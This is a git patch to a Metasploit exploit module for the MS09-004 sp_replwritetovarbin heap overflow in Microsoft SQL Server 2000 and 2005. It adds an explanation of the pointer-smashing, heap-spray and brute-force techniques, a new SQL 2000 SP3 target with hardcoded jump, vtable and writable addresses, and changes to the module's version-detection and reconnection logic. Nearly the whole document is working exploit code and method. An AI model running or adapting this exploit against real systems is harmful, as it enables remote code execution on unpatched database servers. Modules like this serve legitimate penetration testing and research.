From 9a9c92d78561d99a032293f038e70f3f3627c439 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Mon, 4 Jan 2010 22:07:03 +0000 Subject: [PATCH] added description, sql2ksp3 target, minor reliability improvement git-svn-id: file:///home/svn/framework3/trunk@8067 4d416f70-5f16-0410-b530-b9f4589650da --- .../mssql/ms09_004_sp_replwritetovarbin.rb | 79 +++++++++++++++---- 1 file changed, 65 insertions(+), 14 deletions(-) diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index d685777943..a46f5625c3 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -21,8 +21,41 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption', 'Description' => %q{ - TODO: - write description + A heap-based buffer overflow can occur when calling the undocumented + "sp_replwritetovarbin" extended stored procedure. This vulnerability affects + all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, + and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. + + This exploit smashes several pointers, as shown below. + + 1. pointer to a 32-bit value that is set to 0 + 2. pointer to a 32-bit value that is set to a length influcenced by the buffer + length. + 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000, + this value is referenced with a displacement of 0x38. For MSSQL 2005, the + displacement is 0x10. The address of our buffer is conveniently stored in + ecx when this instruction is executed. + 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with + a displacement of 4. This pointer is not used by this exploit. + + There are two different methods used by this exploit, which have been named + "writeNcall" and "sprayNbrute". + + The first, "writeNcall", was published by k`sOSe on Dec 17 2008. It uses pointers + 2 and 3, as well as a writeable address. This method is quite reliable. However, + it relies on the the operation on pointer 2. Newer versions of SQL server + (>= 2000 SP3 at least) use a length value that is 8-byte aligned. This imposes a + restriction that the code address that leads to the payload (jmp ecx in this + case) must match the regex '.[08].[08].[08].[08]'. Unfortunately, no such + addresses were found in memory. + + For this reason, the second method, "sprayNbrute" is used. First a heap-spray + is used to prime memory with lots of copies of the address of our code that + leads to the payload (jmp ecx). Next, brute force is used to try to guess a + value for pointer 3 that points to the sprayed data. + + A new method of spraying the heap inside MSSQL is presented. Sadly, it only + allows the creation of a bunch of 8000 byte buffers. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, @@ -42,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'Space' => 512, - 'BadChars' => "", + 'BadChars' => "", # nul bytes are ok! 'StackAdjustment' => -3500, 'DisableNops' => true }, @@ -67,6 +100,17 @@ class Metasploit3 < Msf::Exploit::Remote 'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base) }, ], + [ + # Microsoft SQL Server 2000 - 8.00.760 (Intel X86) + # Dec 17 2002 14:22:05 + 'MSSQL 2000 / MSDE SP3 (8.00.760)', + { + 'Method' => 'sprayNbrute', + 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) + 'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec) + 'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 sp3) + }, + ], [ # Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) # May 3 2005 23:18:38 @@ -121,6 +165,7 @@ class Metasploit3 < Msf::Exploit::Remote # TODO: add more versions return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/) + return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/) return Exploit::CheckCode::Safe @@ -137,10 +182,12 @@ class Metasploit3 < Msf::Exploit::Remote if (version =~ /8\.00\.194/) mytarget = targets[1] - elsif (version =~ /8\.00\.2039/) + elsif (version =~ /8\.00\.760/) mytarget = targets[2] - elsif (version =~ /9\.00\./) + elsif (version =~ /8\.00\.2039/) mytarget = targets[3] + elsif (version =~ /9\.00\./) + mytarget = targets[4] end if mytarget.nil? @@ -238,16 +285,16 @@ exec master..sp_executesql @buf def exploit_spray_and_brute(mytarget) - if (not mssql_login_datastore) - raise RuntimeError, "Invalid SQL Server credentials" - end - brute_count = 1000 brute_step = 4096 spray = true if spray + if (not mssql_login_datastore) + raise RuntimeError, "Invalid SQL Server credentials" + end + print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret']) # spray the heap! (count of 'max' blocks of 8000 bytes...) @@ -275,6 +322,8 @@ exec master..sp_executesql @buf break if not mssql_query(runme) end + + disconnect end sqlquery = %Q|declare @i int,@buf nvarchar(4000) @@ -317,17 +366,19 @@ exec master..sp_executesql @buf print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable) # go! + if (not mssql_login_datastore) + raise RuntimeError, "Unable to log in!" + end begin mssql_query(runme) - rescue ::Errno::ECONNRESET - print_error("connection reset!") - if (not mssql_login_datastore) - raise RuntimeError, "Unable to re-login!" - end + rescue ::Errno::ECONNRESET, EOFError + print_error("Oh no, lost connection!") end handler break if session_created? + + disconnect end end